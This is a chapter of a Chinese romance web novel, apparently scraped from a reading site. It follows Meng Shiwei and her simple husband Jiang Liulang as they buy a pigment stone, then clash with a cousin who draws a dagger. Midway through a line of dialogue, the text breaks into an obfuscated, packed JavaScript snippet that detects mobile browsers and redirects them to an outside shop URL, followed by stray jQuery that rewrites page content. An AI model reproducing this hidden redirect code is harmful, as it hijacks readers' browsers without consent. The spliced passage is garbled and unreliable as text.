10. 饮子

作品:《养成高门傻夫后她跑路了

    孟时薇远远便见一人在院门口徘徊,她高声唤道:“六郎。”


    江六郎一下没收住脚,差点摔个趔趄,他转过身,迅速跑至她跟前,上下打量道:“你、你没挨打吧?”


    孟时薇笑盈盈的:“怎么,阿家时常打你?”


    见她笑得轻快,他也露出个笑容来:“阿娘不打我,但她会让旁人打人。”


    孟时薇往里走:“阿家不仅没让人打我,还说让我带你去买丹青,就是你要的那石头。”


    “真的?!”江六郎一会儿在她左边,一会儿又绕至她右边,舞旋旋地跟着她。


    “自然是真的,不过,”她停下脚步,认真道,“你要听我的,时刻跟在我身旁,不可随意乱走,可能做到?”


    江六郎猛地点头:“我都听你的!一直跟着你!”


    孟时薇失笑:“傻子。”


    江六郎皱起鼻子:“我不是傻子!”


    “好,你不是。”


    ......


    禁不住兴奋的江六郎一直问,翌日,也就是三月初二,孟时薇便带他出门了。


    虽说江六郎再三向她保证了,孟时薇也不敢掉以轻心,除了缀着的王媪和婢女护卫,两人双手交握,手心都黏腻了也没放开。


    原本是孟时薇攥着他手腕的,可他挣扎不已,非要握着她的手,孟时薇也就随他去了,就当是牵着自家侄儿的手吧。


    她们自然是往东市去,先是逛了些卖丹青的铺子,不知不觉婢女护卫手上都多了不少东西。


    心中对价钱有数后,她们才去了那胡商的铺子,江六郎进铺子便直奔那丹青石,胡商见状,漫天要价,孟时薇无奈,好在她惯常在市肆里讨价还价,她一边掐着江六郎手心,不让他说话,一边与胡商议价,最终才以合理的价钱买得了这块石头。


    孟时薇说得口干舌燥,转头便见江六郎双目亮晶晶地盯着她看,她没忍住翻了个白眼,若非他半点不懂掩藏,她有必要说这样久么?


    王媪付过银钱,孟时薇道:“婢女护卫也拿不下了,你们先包起来,我们还要再逛一逛,一会儿走回头路,再来取。”


    银钱付了,胡商自然无所谓了,他连连笑道:“好,好,贵人慢走。”


    几人走出铺子,王媪皱着眉道:“六娘,我江家还不缺这几个钱,与胡商为了这点钱争执不休,实在有失颜面。”


    孟时薇方才与胡商说了那样久,这会儿正口干,便没急着接上话,谁知被江六郎抢了先:“不!省下的钱我们便能买更多丹青了!”


    王媪嘴拉成直线,还想再说什么。


    孟时薇笑道:“够了够了,今日买的丹青,你便是画一年也用不完,省下的钱,咱们去饮子铺喝饮子!”


    王媪只得深吸一口,跟在她们后头。


    几人到了饮子铺,选了个雅间,江六郎挨在孟时薇身边坐下。


    她问道:“六郎喝过饮子么?”


    江六郎想了想:“喝过五色饮和五香饮,哦,还有茶。”


    孟时薇见他说到茶脸便皱了起来,噗嗤一笑,她也不喜欢惯常喝的那茶,里头加葱姜芫荽花椒,冬日喝一喝还好,夏日喝简直要冒火。


    孟时薇笑着对茶博士道:“便来一份酥......”


    孟时薇抬眼,看向一脸不高兴的王媪,改口,“两......”


    又将目光移向几个婢女,“三份酥山。再一份三勒浆,一份酪浆。”


    茶博士很快上了饮子。


    “这是什么?”江六郎面前一份酥山,一份三勒浆,他瞧了眼孟时薇跟前的酪浆,“你的又是什么?”


    “三郎没喝过酪浆?”


    “没有,”王媪跟前也放了一碗酥山,她面色终于缓和了些,边吃酥山边道,“酥山和酪浆家里也是有的,只是怕六郎吃坏肚子,便没给他吃过。”


    “那六郎先尝尝这三勒浆吧,这是西域的果子做的,家中可没有。”


    “你喝过吗?”江六郎问。


    孟时薇摇摇头。


    “那你先喝吧。”他将那茶碗推向她。


    孟时薇挑眉,促狭道:“怎么?怕有毒?”


    江六郎急道:“你又这样!我不是!”


    “好好好!”孟时薇不再逗他,端起那茶碗,尝三勒浆。


    这三勒浆果然不愧为这铺中最贵的饮子,甘美中带着一点点酸,既不会腻,喝起来又爽顺,孟时薇喝了一两口便放下了,又将茶碗推回他面前。


    江六郎却紧紧盯着她的唇,眉峰一蹙。


    “怎么了?”孟时薇疑惑,方才也是他让自己喝的,这会这样嫌弃做什么?


    “脏。”


    “嗯?”


    江六郎舔了舔唇角,伸手,往她唇上一抹。


    孟时薇头一回被人这样摸唇,脑子瞬间便热了起来,若非看他嫌弃地盯着他自己的手,她怕是以为被他调戏了。


    “咳咳咳~”几个婢女正分食酥山呢,瞧见这一幕,一时被呛着了,猛地咳了起来。


    孟时薇垂眼,她将手帕扯出来,扔在他手上:“自己擦吧。”


    离了饮子铺,孟时薇死活不让江六郎牵手了,只抓着他手腕,任凭他如何挣扎也不行。


    回那胡商铺子,孟时薇侧目,铺中竟遇上了熟人。


    江六郎也顾不得挣扎了,紧紧黏着孟时薇,试图悄悄往她身后藏。


    王媪等人行礼,孟时薇只微微点头致意:“四郎。”


    江四郎一副温润模样,勾着唇角:“六郎,六娘。”


    他也不多说,只提着东西往外。


    “等等!”孟时薇拧眉,她看向胡商,“这是我们方才买的那块吧?”


    胡商连忙笑道:“哎呦!四郎君是早便说过要买的,我还以为您兄弟商量过了,才由六郎君来买呢!”


    孟时薇冷着脸:“我不管先前多少人说过要买,我们付了钱,便是钱货两讫,只不过暂放在你这里罢了。”


    “无妨无妨!”胡商陪笑道,“我将钱还给您。”


    “不,”孟时薇斩钉截铁,“我们已经买了,断没有一货二卖的道理,这块丹青石,已经是我们的,我们未同意,便不能卖给任何人!”


    胡商自然知晓这买卖的规矩,不过江四郎给的钱多,他自然卖给江四郎,这会儿他立在中间,满脸陪着笑。


    端方君子模样的江四郎轻轻一笑:“原本做兄长的,合该让着从弟,只是,六郎,你知晓这是做什么的么?”


    他笑得清风朗月,眼中的轻蔑却藏不住。


    孟时薇冷笑道:“好个兄长,身为兄长,不仅抢从弟的东西,还要贬损一番,这便是三叔父的教养?”


    江四郎面上的笑意消失,他寒着脸道:“你又是什么东西?我们三房再不济,也不会像大房那般,娶一个庶民村妇或者寒门小户的女子为妻,不过你?”


    江四郎上下打量她,嗤笑:“无盐鼠辈,也配在我面前......”


    “不许你说她!”原本躲在孟时薇侧后的江六郎忽然冲出来,猛地一推。


    江四郎并无防备,竟被他推了个四脚朝天。


    江四郎狼狈地爬起来,脸涨成猪肝,不敢置信地瞪着江六郎:“你真是吃了豹子胆,竟敢推我,今日我教


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468590|201352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    教你什么叫长幼有序!”


    说着,随手便抓了手边的一把宝石匕首,不顾风度地朝着江六郎冲过来。


    孟时薇岂会让他伤着江六郎,她将江六郎往王媪身边一推,便要上前阻挡江四郎。


    可江四郎那一跌,跌走了他的君子风度,早已失去了理智,偏偏他不会武,手上匕首乱挥,没个章法,这铺子里堆的货物多,又施展不开,孟时薇肩臂竟然叫他划了一道。


    那边王媪正扯着江六郎,婢女们见江四郎疯了一般,缩在角落里也不敢动。


    护卫们都傻了眼,一时不知该怎么办,毕竟这里都是江家人,哪一个他们也不敢犯上。


    江六郎挣扎不已,见孟时薇肩上沁了血出来,顿时眼一红,竟叫王媪脱了手。


    “我、我和你拼了!”


    江六郎随手抱起旁边的银胡瓶,朝江四郎砸过去。


    铺中静了静。


    江六郎脸色发白,颤着唇道:“他,他没死吧?”


    孟时薇俯下身,探了探江四郎的鼻息,也松了一口气:“没有,只是晕过去了。”


    孟时薇左右瞧瞧,也没见江四郎带仆童,便让护卫将他抬回去。


    转头见江六郎还在呆愣,似是仍在惊惧之中,她拍了拍他肩:“六郎?无事,不怕了。”


    江六郎看向她,眼泪瞬时流了下来:“呜呜呜呜~”


    孟时薇有些尴尬,铺子外头有不少瞧热闹的,江六郎哭起来也不分场合,只得将他拉过来,虚环住他,不让外头的人瞧见他的脸。


    她拍着他背,轻柔道:“好了,无事了。”


    “我、我还是害怕。”


    “无事,有我呢。”


    “他,他以前总是,偷偷欺负我。”


    “无事,今日咱们六郎揍回去了呢,六郎真厉害,往后再也不怕他了。”


    “真的吗呜呜呜呜~”江六郎栽倒在她肩头,哭得她都感觉到潮湿了。


    “真的,以后他瞧见你就害怕,六郎就是最厉害的。”


    “呜呜呜~”


    原本孟时薇还想再安慰他,谁知他猛得弹起,吓了她一跳。


    “血!”江六郎看向孟时薇被她哭湿的肩。


    “不是,是另一边。”


    江六郎看向另一边,见上头有血迹,拉着她往外:“走,回家喝药。”


    伤口并不深,只是这时节衣衫薄罢了。


    孟时薇拉住他:“无妨,不急。”


    她转头看向角落里装做不在的胡商:“我们的丹青石能带走了吧?”


    胡商脸笑成一团:“自是,自是。”


    她们不再耽搁,径回了江宅。


    孟时薇吩咐王媪道:“待我换身衣裳,再亲自去向夫人禀报,你莫要擅自前去。”


    “......是。”


    停云院中,婢女先为孟时薇上药。


    见江六郎还跟着,孟时薇赶他:“你先回寝屋。”


    江六郎双眼还有些红肿,他赖着不动。


    孟时薇板起脸:“你昨日不是还说什么都听我的么?”


    “我还说一直跟着你。”江六郎小声道。


    “你不出去,我就要流血流死了。”


    江六郎脸又是一白,他红着眼,慢慢挪了出去。


    孟时薇上药还未换好衣裳,王媪便进了屋:“禀六娘,夫人令人传话,说请你往前厅正堂。”


    “我知道了,这就来。”


    王媪出去后,孟时薇看向婢女:“你们可会化那种妆容?要憔悴不堪的。”


    婢女面面相觑:“奴婢们试试吧。”